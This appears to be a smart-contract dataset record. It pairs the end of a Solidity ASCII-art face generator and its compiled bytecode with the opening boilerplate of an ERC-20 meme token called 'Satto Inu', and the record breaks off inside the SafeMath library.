unicode" ┌╨╨╨─┐ \n",
unicode" ╔╗ \n"
unicode" ╔╔╔╗╝ \n"
unicode" ┌╚╚╝╝┐ \n",
unicode" ╔════╗ \n"
unicode" ╔╚╚╚╝╝╝╗ \n"
unicode" ╟┌────┐╢ \n",
unicode" ╔═╗ \n"
unicode" ╚╚╚╗ \n"
unicode" ┌────┐ \n",
unicode" \n"
unicode" \n"
unicode" ┌╨╨╨╨┐ \n",
unicode" \n"
unicode" ⌂⌂⌂⌂ \n"
unicode" ┌────┐ \n",
unicode" ┌────┐ \n"
unicode" │ /└┐ \n"
unicode" ├────┐/ \n",
unicode" \n"
unicode" (((((( \n"
unicode" ┌────┐ \n",
unicode" ┌┌┌┌┌┐ \n"
unicode" ├┘┘┘┘┘ \n"
unicode" ┌────┐ \n",
unicode" «°┐ \n"
unicode" │╪╕ \n"
unicode" ┌└┼──┐ \n",
unicode" <° °> § \n"
unicode" \\'/ / \n"
unicode" {())}} \n",
unicode" ██████ \n"
unicode" ██ ██ ██ \n"
unicode" █ ██████ █ \n",
unicode" ████ \n"
unicode" ██◙◙██ \n"
unicode" ┌─▼▼─┐ \n",
unicode" ╓╖ ╓╖ \n"
unicode" °╜╚╗╔╝╙° \n"
unicode" ┌─╨╨─┐ \n",
unicode" ± ±± ± \n"
unicode" ◙◙◙◙◙◙ \n"
unicode" ┌────┐ \n",
unicode" ♫ ♪ \n"
unicode" ♪ ♫ \n"
unicode" ♪ ┌────┐ \n",
unicode" /≡≡\\ \n"
unicode" /≡≡≡≡\\ \n"
unicode" /┌────┐\\ \n",
unicode" \n"
unicode" ♣♥♦♠♣♥ \n"
unicode" ┌────┐ \n",
unicode" [⌂] \n"
unicode" │ \n"
unicode" ┌────┐ \n",
unicode" /\\/\\/\\/\\ \n"
unicode" \\\\/\\/\\// \n"
unicode" ┌────┐ \n",
unicode" ↑↑↓↓ \n"
unicode" ←→←→AB \n"
unicode" ┌────┐ \n",
unicode" ┌─┬┐ \n"
unicode" ┌┘┌┘└┐ \n"
unicode" ├─┴──┤ \n",
unicode" ☼ ☼ \n"
unicode" \\/ \n"
unicode" ┌────┐ \n"
];
uint256 topId = rand % TOP_COUNT;
return tops[topId];
}
function _chooseEyes(uint256 rand) internal pure returns (string memory) {
string[EYE_COUNT] memory leftEyes =
[
unicode"◕",
unicode"*",
unicode"♥",
unicode"X",
unicode"⊙",
unicode"˘",
unicode"α",
unicode"◉",
unicode"☻",
unicode"¬",
unicode"^",
unicode"═",
unicode"┼",
unicode"┬",
unicode"■",
unicode"─",
unicode"û",
unicode"╜",
unicode"δ",
unicode"│",
unicode"┐",
unicode"┌",
unicode"┌",
unicode"╤",
unicode"/",
unicode"\\",
unicode"/",
unicode"\\",
unicode"╦",
unicode"♥",
unicode"♠",
unicode"♦",
unicode"╝",
unicode"◄",
unicode"►",
unicode"◄",
unicode"►",
unicode"I",
unicode"╚",
unicode"╔",
unicode"╙",
unicode"╜",
unicode"╓",
unicode"╥",
unicode"$",
unicode"○",
unicode"N",
unicode"x"
];
string[EYE_COUNT] memory rightEyes =
[
unicode"◕",
unicode"*",
unicode"♥",
unicode"X",
unicode"⊙",
unicode"˘",
unicode"α",
unicode"◉",
unicode"☻",
unicode"¬",
unicode"^",
unicode"═",
unicode"┼",
unicode"┬",
unicode"■",
unicode"─",
unicode"û",
unicode"╜",
unicode"δ",
unicode"│",
unicode"┐",
unicode"┐",
unicode"┌",
unicode"╤",
unicode"\\",
unicode"/",
unicode"/",
unicode"\\",
unicode"╦",
unicode"♠",
unicode"♣",
unicode"♦",
unicode"╝",
unicode"►",
unicode"◄",
unicode"◄",
unicode"◄",
unicode"I",
unicode"╚",
unicode"╗",
unicode"╜",
unicode"╜",
unicode"╓",
unicode"╥",
unicode"$",
unicode"○",
unicode"N",
unicode"x"
];
uint256 eyeId = rand % EYE_COUNT;
string memory leftEye = leftEyes[eyeId];
string memory rightEye = rightEyes[eyeId];
string memory nose = _chooseNose(rand);
string memory forehead = unicode" │ ├┐ \n";
string memory leftFace = unicode" │";
string memory rightFace = unicode" └│ \n";
return
string(
abi.encodePacked(
forehead,
leftFace,
leftEye,
" ",
rightEye,
rightFace,
nose
)
);
}
function _chooseMouth(uint256 rand) internal pure returns (string memory) {
string[MOUTH_COUNT] memory mouths =
[
unicode" │ │ \n"
unicode" │── │ \n",
unicode" │ │ \n"
unicode" │δ │ \n",
unicode" │ │ \n"
unicode" │─┬ │ \n",
unicode" │ │ \n"
unicode" │(─) │ \n",
unicode" │ │ \n"
unicode" │[─] │ \n",
unicode" │ │ \n"
unicode" │<─> │ \n",
unicode" │ │ \n"
unicode" │╙─ │ \n",
unicode" │ │ \n"
unicode" │─╜ │ \n",
unicode" │ │ \n"
unicode" │└─┘ │ \n",
unicode" │ │ \n"
unicode" │┌─┐ │ \n",
unicode" │ │ \n"
unicode" │╓─ │ \n",
unicode" │ │ \n"
unicode" │─╖ │ \n",
unicode" │ │ \n"
unicode" │┼─┼ │ \n",
unicode" │ │ \n"
unicode" │──┼ │ \n",
unicode" │ │ \n"
unicode" │«─» │ \n",
unicode" │ │ \n"
unicode" │── │ \n",
unicode" ∙ │ │ \n"
unicode" ∙─── │ \n",
unicode" ∙ │ │ \n"
unicode" ∙───) │ \n",
unicode" ∙ │ │ \n"
unicode" ∙───] │ \n",
unicode" │⌐¬ │ \n"
unicode" √──── │ \n",
unicode" │╓╖ │ \n"
unicode" │── │ \n",
unicode" │~~ │ \n"
unicode" │/\\ │ \n",
unicode" │ │ \n"
unicode" │══ │ \n",
unicode" │ │ \n"
unicode" │▼▼ │ \n",
unicode" │⌐¬ │ \n"
unicode" │O │ \n",
unicode" │ │ \n"
unicode" │O │ \n",
unicode" ∙ │⌐¬ │ \n"
unicode" ∙─── │ \n",
unicode" ∙ │⌐¬ │ \n"
unicode" ∙───) │ \n",
unicode" ∙ │⌐¬ │ \n"
unicode" ∙───] │ \n",
unicode" │⌐¬ │ \n"
unicode" │── │ \n",
unicode" │⌐-¬ │ \n"
unicode" │ │ \n",
unicode" │┌-┐ │ \n"
unicode" ││ │ │ \n"
];
uint256 mouthId = rand % MOUTH_COUNT;
return mouths[mouthId];
}
function _chooseNose(uint256 rand) internal pure returns (string memory) {
string[NOSE_COUNT] memory noses =
[
unicode"└",
unicode"╘",
unicode"<",
unicode"└",
unicode"┌",
unicode"^",
unicode"└",
unicode"┼",
unicode"Γ"
];
uint256 noseId = rand % NOSE_COUNT;
string memory nose = noses[noseId];
return string(abi.encodePacked(unicode" │ ", nose, unicode" └┘ \n"));
}
}
|
0x7399b4a41e1bfb9faba2065144d851ce669aea72be30146080604052600436106100355760003560e01c80633b3041471461003a575b600080fd5b61004d610048366004611ad6565b610063565b60405161005a9190611c30565b60405180910390f35b606060008260405160200161007a91815260200190565b6040516020818303038152906040528051906020012060001c905060006100a08261012b565b905060006100ad836107e8565b905060006100ba84611540565b90506000604051806060016040528060288152602001612d44602891399050600060405180606001604052806022815260200161279f602291399050848484848460405160200161010f959493929190611aee565b6040516020818303038152906040529650505050505050919050565b60606000604051806106e00160405280604051806080016040528060458152602001611ed76045913981526020016040518060800160405280604b815260200161300b604b913981526020016040518060800160405280605381526020016121496053913981526020016040518060800160405280604f8152602001612a1b604f913981526020016040518060800160405280604b815260200161259b604b913981526020016040518060800160405280604781526020016120056047913981526020016040518060800160405280604f8152602001612750604f913981526020016040518060800160405280604f815260200161254c604f913981526020016040518060a0016040528060638152602001612d966063913981526020016040518060800160405280605b8152602001611d47605b91398152602001604051806080016040528060578152602001611e8060579139815260200160405180608001604052806057815260200161228760579139815260200160405180608001604052806049815260200161245b6049913981526020016040518060600160405280603f8152602001612c3f603f913981526020016040518060600160405280603b815260200161204c603b913981526020016040518060600160405280603f8152602001612694603f91398152602001604051806060016040528060338152602001612eeb6033913981526020016040518060600160405280603b8152602001612087603b9139815260200160405180606001604052806039815260200161283f6039913981526020016040518060600160405280603b8152602001612659603b913981526020016040518060600160405280603f8152602001612933603f91398152602001604051806060016040528060338152602001612c7e6033913981526020016040518060800160405280604381526020016125096043913981526020016040518060800160405280604f8152602001612bf0604f913981526020016040518060800160405280604981526020016122de6049913981526020016040518060600160405280603f815260200161210a603f913981526020016040518060600160405280603b8152602001612ac1603b913981526020016040518060800160405280604d8152602001612ba3604d913981526020016040518060800160405280605381526020016123de6053913981526020016040518060800160405280604b8152602001611fba604b913981526020016040518060600160405280603381526020016129e8603391398152602001604051806080016040528060458152602001611cdc604591398152602001604051806080016040528060458152602001612e6f6045913981526020016040518060800160405280604181526020016127c16041913981526020016040518060800160405280605381526020016126fd605391398152602001604051806080016040528060418152602001612f1e6041913981526020016040518060600160405280603381526020016121eb6033913981526020016040518060600160405280603b8152602001612fab603b91398152602001604051806080016040528060458152602001611e3b604591398152602001604051806060016040528060338152602001612df96033913981526020016040518060800160405280604b8152602001611f42604b913981526020016040518060600160405280603d81526020016123a1603d913981526020016040518060600160405280602a8152602001612cd3602a913981526020016040518060800160405280604f81526020016125e6604f91398152602001604051806080016040528060478152602001612cfd6047913981526020016040518060800160405280604981526020016128ea60499139815260200160405180608001604052806043815260200161221e6043913981526020016040518060600160405280603d8152602001612802603d913981526020016040518060600160405280603f81526020016124ca603f913981526020016040518060600160405280603f8152602001611da2603f91398152602001604051806060016040528060378152602001612b4960379139815260200160405180606001604052806033815260200161236e603391398152602001604051806080016040528060438152602001612e2c604391398152602001604051806080016040528060478152602001612327604791398152602001604051806060016040528060378152602001612eb4603791399052905060006107b9603785611c93565b90508181603781106107db57634e487b7160e01b600052603260045260246000fd5b6020020151949350505050565b6060600060405180610600016040528060405180604001604052806003815260200162e2979560e81b8152508152602001604051806040016040528060018152602001601560f91b815250815260200160405180604001604052806003815260200162e299a560e81b8152508152602001604051806040016040528060018152602001600b60fb1b815250815260200160405180604001604052806003815260200162e28a9960e81b815250815260200160405180604001604052806002815260200161197360f31b815250815260200160405180604001604052806002815260200161ceb160f01b815250815260200160405180604001604052806003815260200162e2978960e81b815250815260200160405180604001604052806003815260200162e298bb60e81b81525081526020016040518060400160405280600281526020016130ab60f21b8152508152602001604051806040016040528060018152602001602f60f91b8152508152602001604051806040016040528060038152602001620e295960ec1b81525081526020016040518060400160405280600381526020016238a52f60ea1b81525081526020016040518060400160405280600381526020016238a52b60ea1b8152508152602001604051806040016040528060038152602001620714b560ed1b81525081526020016040518060400160405280600381526020016201c52960ef1b815250815260200160405180604001604052806002815260200161c3bb60f01b81525081526020016040518060400160405280600381526020016238a56760ea1b81525081526020016040518060400160405280600281526020016133ad60f21b815250815260200160405180604001604052806003815260200162714a4160e91b8152508152602001604051806040016040528060038152602001620e294960ec1b81525081526020016040518060400160405280600381526020016238a52360ea1b81525081526020016040518060400160405280600381526020016238a52360ea1b81525081526020016040518060400160405280600381526020016238a56960ea1b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001601760fa1b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001601760fa1b815250815260200160405180604001604052806003815260200162714ad360e91b815250815260200160405180604001604052806003815260200162e299a560e81b8152508152602001604051806040016040528060038152602001620714cd60ed1b815250815260200160405180604001604052806003815260200162714cd360e91b815250815260200160405180604001604052806003815260200162e2959d60e81b81525081526020016040518060400160405280600381526020016238a5e160ea1b815250815260200160405180604001604052806003815260200162714b5d60e91b81525081526020016040518060400160405280600381526020016238a5e160ea1b815250815260200160405180604001604052806003815260200162714b5d60e91b8152508152602001604051806040016040528060018152602001604960f81b815250815260200160405180604001604052806003815260200162714acd60e91b81525081526020016040518060400160405280600381526020016238a56560ea1b815250815260200160405180604001604052806003815260200162e2959960e81b81525081526020016040518060400160405280600381526020016238a56760ea1b815250815260200160405180604001604052806003815260200162e2959360e81b815250815260200160405180604001604052806003815260200162e295a560e81b8152508152602001604051806040016040528060018152602001600960fa1b815250815260200160405180604001604052806003815260200162e2978b60e81b8152508152602001604051806040016040528060018152602001602760f91b8152508152602001604051806040016040528060018152602001600f60fb1b8152508152509050600060405180610600016040528060405180604001604052806003815260200162e2979560e81b8152508152602001604051806040016040528060018152602001601560f91b815250815260200160405180604001604052806003815260200162e299a560e81b8152508152602001604051806040016040528060018152602001600b60fb1b815250815260200160405180604001604052806003815260200162e28a9960e81b815250815260200160405180604001604052806002815260200161197360f31b815250815260200160405180604001604052806002815260200161ceb160f01b815250815260200160405180604001604052806003815260200162e2978960e81b815250815260200160405180604001604052806003815260200162e298bb60e81b81525081526020016040518060400160405280600281526020016130ab60f21b8152508152602001604051806040016040528060018152602001602f60f91b8152508152602001604051806040016040528060038152602001620e295960ec1b81525081526020016040518060400160405280600381526020016238a52f60ea1b81525081526020016040518060400160405280600381526020016238a52b60ea1b8152508152602001604051806040016040528060038152602001620714b560ed1b81525081526020016040518060400160405280600381526020016201c52960ef1b815250815260200160405180604001604052806002815260200161c3bb60f01b81525081526020016040518060400160405280600381526020016238a56760ea1b81525081526020016040518060400160405280600281526020016133ad60f21b815250815260200160405180604001604052806003815260200162714a4160e91b8152508152602001604051806040016040528060038152602001620e294960ec1b8152508152602001604051806040016040528060038152602001620e294960ec1b81525081526020016040518060400160405280600381526020016238a52360ea1b81525081526020016040518060400160405280600381526020016238a56960ea1b8152508152602001604051806040016040528060018152602001601760fa1b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001602f60f81b8152508152602001604051806040016040528060018152602001601760fa1b815250815260200160405180604001604052806003815260200162714ad360e91b8152508152602001604051806040016040528060038152602001620714cd60ed1b815250815260200160405180604001604052806003815260200162e299a360e81b815250815260200160405180604001604052806003815260200162714cd360e91b815250815260200160405180604001604052806003815260200162e2959d60e81b815250815260200160405180604001604052806003815260200162714b5d60e91b81525081526020016040518060400160405280600381526020016238a5e160ea1b81525081526020016040518060400160405280600381526020016238a5e160ea1b81525081526020016040518060400160405280600381526020016238a5e160ea1b8152508152602001604051806040016040528060018152602001604960f81b815250815260200160405180604001604052806003815260200162714acd60e91b815250815260200160405180604001604052806003815260200162e2959760e81b81525081526020016040518060400160405280600381526020016238a56760ea1b81525081526020016040518060400160405280600381526020016238a56760ea1b815250815260200160405180604001604052806003815260200162e2959360e81b815250815260200160405180604001604052806003815260200162e295a560e81b8152508152602001604051806040016040528060018152602001600960fa1b815250815260200160405180604001604052806003815260200162e2978b60e81b8152508152602001604051806040016040528060018152602001602760f91b8152508152602001604051806040016040528060018152602001600f60fb1b8152508152509050600060308561143f9190611c93565b9050600083826030811061146357634e487b7160e01b600052603260045260246000fd5b60200201519050600083836030811061148c57634e487b7160e01b600052603260045260246000fd5b60200201519050600061149e8861193e565b6040805180820182526013815272101010714a4110101010714a4e714a4810100560691b602080830191909152825180840184526006815265101010714a4160d11b8183015283518085018552600a81526910714a4a714a4110100560b11b818401529351949550919391929161152191859185918a918a9187918b9101611b59565b6040516020818303038152906040529950505050505050505050919050565b60606000604051806104000160405280604051806060016040528060268152602001612261602691398152602001604051806060016040528060238152602001612b80602391398152602001604051806060016040528060268152602001611f1c60269139815260200160405180606001604052806024815260200161263560249139815260200160405180606001604052806024815260200161289e602491398152602001604051806060016040528060248152602001612f87602491398152602001604051806060016040528060268152602001611d2160269139815260200160405180606001604052806026815260200161299c602691398152602001604051806060016040528060288152602001611cb4602891398152602001604051806060016040528060288152602001612afc6028913981526020016040518060600160405280602681526020016129c26026913981526020016040518060600160405280602681526020016120c2602691398152602001604051806060016040528060288152602001612f5f6028913981526020016040518060600160405280602881526020016128c26028913981526020016040518060600160405280602681526020016121c56026913981526020016040518060600160405280602681526020016122616026913981526020016040518060600160405280602a81526020016126d3602a913981526020016040518060600160405280602a8152602001612972602a913981526020016040518060600160405280602a8152602001612d6c602a913981526020016040518060600160405280602d8152602001612a94602d913981526020016040518060600160405280602a8152602001612a6a602a913981526020016040518060600160405280602281526020016120e86022913981526020016040518060600160405280602681526020016128786026913981526020016040518060600160405280602681526020016124a4602691398152602001604051806060016040528060258152602001612fe6602591398152602001604051806060016040528060228152602001612cb16022913981526020016040518060600160405280602d8152602001611f8d602d913981526020016040518060600160405280602d8152602001611e0e602d913981526020016040518060600160405280602d8152602001611de1602d9139815260200160405180606001604052806029815260200161219c602991398152602001604051806060016040528060258152602001612b246025913981526020016040518060600160405280602a8152602001612431602a913990529050600061191c602085611c93565b90508181602081106107db57634e487b7160e01b600052603260045260246000fd5b606060006040518061012001604052806040518060400160405280600381526020016238a52560ea1b8152508152602001604051806040016040528060038152602001621c52b360eb1b8152508152602001604051806040016040528060018152602001600f60fa1b81525081526020016040518060400160405280600381526020016238a52560ea1b81525081526020016040518060400160405280600381526020016238a52360ea1b8152508152602001604051806040016040528060018152602001602f60f91b81525081526020016040518060400160405280600381526020016238a52560ea1b81525081526020016040518060400160405280600381526020016238a52f60ea1b815250815260200160405180604001604052806002815260200161ce9360f01b81525081525090506000600984611a819190611c93565b90506000828260098110611aa557634e487b7160e01b600052603260045260246000fd5b6020020151905080604051602001611abd9190611beb565b6040516020818303038152906040529350505050919050565b600060208284031215611ae7578081fd5b5035919050565b60008651611b00818460208b01611c63565b865190830190611b14818360208b01611c63565b8651910190611b27818360208a01611c63565b8551910190611b3a818360208901611c63565b8451910190611b4d818360208801611c63565b01979650505050505050565b600087516020611b6c8285838d01611c63565b885191840191611b7f8184848d01611c63565b8851920191611b918184848c01611c63565b600160fd1b92019182528651611bad8160018501848b01611c63565b8651920191611bc28160018501848a01611c63565b8551920191611bd78160018501848901611c63565b919091016001019998505050505050505050565b660101010714a41160cd1b81528151600090611c0e816007850160208701611c63565b6a1010714a4a714a4c10100560a91b6007939091019283015250601201919050565b6000602082528251806020840152611c4f816040850160208701611c63565b601f01601f19169190910160400192915050565b60005b83811015611c7e578181015183820152602001611c66565b83811115611c8d576000848401525b50505050565b600082611cae57634e487b7160e01b81526012600452602481fd5b50069056fe202020e2948220202020e294822020200a202020e29482e29494e29480e2949820e294822020200a2020202020e29594e29597e29594e295972020200a20202020e29594e29597e29594e29597e2959d2020200a202020e2948ce29594e2959de29594e2959de294902020200a202020e2948220202020e294822020200a202020e29482e29599e294802020e294822020200a202020e29592e29590e29590e29590e29590e295952020200a20e2948ce29480e294b4e29480e29480e29480e29480e294b4e29480e29490200a20e29494e29480e294ace29480e29480e29480e29480e294ace29480e29498200a2020202020202020202020200a202020e299a3e299a5e299a6e299a0e299a3e299a52020200a202020e2948ce29480e29480e29480e29480e294902020200a20e2889920e29482e28c90c2ac2020e294822020200a20e28899e29480e29480e294805d2020e294822020200a20e2889920e29482e28c90c2ac2020e294822020200a20e28899e29480e29480e29480292020e294822020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e294822020202fe29494e2949020200a202020e2949ce29480e29480e29480e29480e294902f20200a2020e2948ce29480e29480e29480e29480e29480e29480e2949020200a2020e29482e296b2e296b2e296b2e296b2e296b2e296b2e2948220200a2020e29494e294ace29480e29480e29480e29480e294ace2949820200a202020e2948ce29480e29480e29480e29490202020200a202020e29482202020e294bce294902020200a202020e2949ce29480e29480e29480e29480e294bce294bc20200a202020e2948220202020e294822020200a202020e29482e29480e294ac2020e294822020200a202020e2948ce2948ce2948ce2948ce2948ce294902020200a202020e2949ce29498e29498e29498e29498e294982020200a202020e2948ce29480e29480e29480e29480e294902020200a20e2889920e29482e28c90c2ac2020e294822020200a20e28899e29480e29480e29480202020e294822020200a202020e29594e29594e29590e29594e29590e295942020200a202020e29594e295a9e29594e295a9e29594e2959d2020200a202020e2948ce29480e29480e29480e29480e294902020200a20202020e29799e29799e29799e29799202020200a202020e29684e29688e29688e29688e29688e296842020200a202020e2948ce29480e29480e29480e29480e294902020200a2020202020202020202020200a20202020e29593e294ace295a5e29490202020200a202020e2948ce295a8e294b4e295a8e294b4e294902020200a2020202020202020202020200a20202020e29482e29482e29482e29482202020200a202020e2948ce294bce294bce294bce294bce294902020200a202020e2948220202020e294822020200a202020e29482e29480e295962020e294822020200a202020e294827e7e2020e294822020200a202020e294822f5c2020e294822020200a2020202020202020202020200a202020e29482e29482e29482e29482e29482e294822020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e29592e29590e29590e29590e29590e295952020200a2020e2948ce294b4e29480e29480e29480e29480e294b4e2949020200a2020e29494e294ace29480e29480e29480e29480e294ace2949820200a202020e29482e28c90c2ac2020e294822020200a202020e29482e29480e294802020e294822020200a202020e2948220202020e294822020200a202020e29482c2abe29480c2bb20e294822020200a2020202020202020202020200a2020202020202020202020200a202020e2948ce295a8e295a8e295a8e295a8e294902020200a202020c2b120c2b1c2b120c2b12020200a202020e29799e29799e29799e29799e29799e297992020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482e29480e294802020e294822020200a2020e2948ce2948ce29480e29480e29480e29480e29490e2949020200a2020e29482e29482e2948ce29480e29480e29490e29482e2948220200a2020e29494e294bce294b4e29480e29480e294b4e294bce2949820200a2020e29490e29490e29490e29490e2949020202020200a2020e29494e29494e29494e29494e29494e29490202020200a202020e29494e29494e29494e29494e29494e294902020200a20202020e2948ce29480e294ace29490202020200a202020e2948ce29498e2948ce29498e29494e294902020200a202020e2949ce29480e294b4e29480e29480e294a42020200a20202f5c2f5c2f5c2f5c20200a20205c5c2f5c2f5c2f2f20200a202020e2948ce29480e29480e29480e29480e294902020200a202020c2abc2b0e294902020202020200a20202020e29482e295aae2959520202020200a202020e2948ce29494e294bce29480e29480e294902020200a202020e29594e29594e29594e29594e29594e295972020200a2020e29594e29594e29594e29594e29594e29597e29591e2959720200a2020e2959de29591e295a8e295a8e295a8e295a8e29591e2959a20200a202020e29482e2948c2de2949020e294822020200a202020e29482e2948220e2948220e294822020200a202020e2948ce29480e29480e29480e29480e294902020200a2020e2948ce29498e29480202020e294822020200a2020e29494e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482e296bce296bc2020e294822020200a202020202fe289a1e289a15c202020200a2020202fe289a1e289a1e289a1e289a15c2020200a20202fe2948ce29480e29480e29480e29480e294905c20200a20202020e2949020e2948c20202020200a202020e29490e29482e29482e29482e29482e2948c2020200a202020e2948ce29480e29480e29480e29480e294902020200a20202020e2948ce29480e29480e29480e294902020200a202020e2948ce29498202020e2949ce29480e29480e294900a202020e2949ce29480e29480e29480e29480e294bce29480e29480e294980a202020e29592e29590e29590e29590e29590e295952020200a202020e2948220202020e294822020200a20e29494e29480e294ace29480e29480e29480e29480e294ace29480e29498200a202020e29688e29688e29688e29688e29688e296882020200a2020e29688e2968820e29688e2968820e29688e2968820200a20e2968820e29688e29688e29688e29688e29688e2968820e29688200a202020e2948220202020e294822020200a202020e2948228e294802920e294822020200a2020202020202020202020200a20202020e29591e29591e29591e29591202020200a202020e2948ce295a8e295a8e295a8e295a8e294902020200a2020202020202020202020200a202020e29592e295a6e295a6e295a6e295a6e295952020200a202020e2959ee295a9e295a9e295a9e295a9e295a12020200a20e2889920e2948220202020e294822020200a20e28899e29480e29480e29480202020e294822020200a202020e29594e29590e29590e29590e29590e295972020200a2020e29594e2959ae2959ae2959ae2959de2959de2959de2959720200a2020e2959fe2948ce29480e29480e29480e29480e29490e295a220200a202020e2948ce29480e29480e29480e29490202020200ae2948ce29480e29480e294a4202020e29494e294902020200ae29494e29480e29480e294bce29480e29480e29480e29480e294a42020200a2020202020e294822020e294822020200a2020202020e294822020e294822020200a20202020202020e29594e295972020200a20202020e29594e29594e29594e29597e2959d2020200a202020e2948ce2959ae2959ae2959de2959de294902020200a2020e299ab2020202020e299aa2020200a20202020e299aa2020202020e299ab200a20e299aa20e2948ce29480e29480e29480e29480e294902020200a202020202020e2959420202020200a2020202020e29594e2959120202020200a202020e2948ce29480e295abe295abe29480e294902020200a202020e2948220202020e294822020200a202020e29482e29590e295902020e294822020200a202020e2948220202020e294822020200a202020e294825be294805d20e294822020200a202020e2948220202020e294822020200a202020e29482e29480e29480e294bc20e294822020200a202020e29593e295962020e29593e295962020200a2020c2b0e2959ce2959ae29597e29594e2959de29599c2b020200a202020e2948ce29480e295a8e295a8e29480e294902020200a2020202020202020202020200a202020e29690e29690e29690e2968ce2968ce2968c2020200a202020e2948ce29480e29480e29480e29480e294902020200a20e2889920e2948220202020e294822020200a20e28899e29480e29480e29480292020e294822020200a202020e2948220202020e294822020200a202020e29482e29480e2959c2020e294822020200a202020e2948220202020e294822020200a202020e29482e29593e294802020e294822020200a2020202020202020202020200a20202020202f2f2f202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e29592e29590e29590e29590e29590e295952020200a202020e29482e296a1e296a1e296a1e296a1e294822020200a2020e29494e294ace29480e29480e29480e29480e294ace2949820200a202020e29482e29593e295962020e294822020200a202020e29482e29480e294802020e294822020200a202020e29482e28c90c2ac2020e294822020200a20e2889ae29480e29480e29480e294802020e294822020200a2020202020202020202020200a20202020e29593e29593e29593e29593202020200a202020e2948ce295a8e295a8e295a8e295a8e294902020200a202020e2948220202020e294822020200a202020e29482e2948ce29480e2949020e294822020200a202020e29482e28c902dc2ac20e294822020200a202020e2948220202020e294822020200a20202020205be28c825d202020200a202020202020e2948220202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482ceb4202020e294822020200a20202020e29594e29594e29597e29597e295972020200a202020e29594e29594e29594e29597e29597e29597e2959720200a2020e29594e2959de2959de2959120e2959ae2959ae2959720200a2020e2948ce2949020e29490e2948ce29490e2948ce2949020200a2020e29494e29494e29490e29482e29482e2948ce294982020200a202020e2948ce294b4e294b4e294b4e294b4e294902020200a2020202020202020202020200a202020e2948ce294ace294ace294ace294ace294902020200a202020e2949ce294b4e294b4e294b4e294b4e294a42020200a2020202020202020202020200a2020205c2f2f2f2f2f2020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e294824f202020e294822020200a20203cc2b020c2b03e202020c2a7200a2020205c272f2020202f20200a2020207b2829297d7d2020200a20202020e29688e29688e29688e29688202020200a202020e29688e29688e29799e29799e29688e296882020200a202020e2948ce29480e296bce296bce29480e294902020200a202020e2948220202020e294822020200a202020e29494e29480e29480e2949820e294822020200a20e2889920e2948220202020e294822020200a20e28899e29480e29480e294805d2020e294822020200a202020e2948ce29480e29480e29480e29480e294902f20200ae2948ce29480e29480e294b4e29480e29480e29480e29480e294b4e29480e29480e294900ae29494e29480e29480e294ace29480e29480e29480e29480e294ace29480e29480e294980a2020202020202020202020200a2020202828282828282020200a202020e2948ce29480e29480e29480e29480e294902020200a20202020e28691e28691e28693e28693202020200a202020e28690e28692e28690e2869241422020200a202020e2948ce29480e29480e29480e29480e294902020200a2020202020e29594e29594e29594e29594e2959d20200a20202020e29594e2959de29594e2959d202020200a202020e2948ce295a8e295a8e295a8e29480e294902020200a20202020e298bc2020e298bc202020200a20202020205c2f20202020200a202020e2948ce29480e29480e29480e29480e294902020200a2020202020202020202020200a2020202020202020202020200a202020e2948ce294bce294bce294bce294bce294902020200a20202020e29594e29590e2959720202020200a20202020e2959ae2959ae2959ae29597202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e2948220202020e294822020200a202020e29482e294bce29480e294bc20e294822020200a202020e2948220202020e294822020200a202020e294823ce294803e20e294822020200a2020202020202020202020200a20202020e28c82e28c82e28c82e28c82202020200a202020e2948ce29480e29480e29480e29480e294902020200a202020e29482e28c90c2ac2020e294822020200a202020e294824f202020e294822020200a202020e2948ce294ace294ace294ace294ace294902020200a202020e29593e294ace294ace294ace294ace295962020200a202020e29599e294b4e294b4e294b4e294b4e2959c2020200aa264697066735822122038ecd3cf5dc68f88c5ed1fd49d7769ea1e603c3253fcd5de0e65e09992eac7b964736f6c63430008020033
|
{"success": true, "error": null, "results": {}}
| 6,185 |
0xADfbf5cAF8a617E0407eFD5bb80291238829802A
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/*
Satto Inu - $SATTO
Bitcoin Satto Korea
@@@@@@ @@@@@@ @@@@@@@ @@@@@@@ @@@@@@
[email protected]@ @@! @@@ @@! @@! @@! @@@
[email protected]@!! @[email protected][email protected][email protected]! @!! @!! @[email protected] [email protected]!
!:! !!: !!! !!: !!: !!: !!!
::.: : : : : : : : :. :
Telegram: https://t.me/SattoInuToken
Twitter: https://twitter.com/SattoInuToken
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
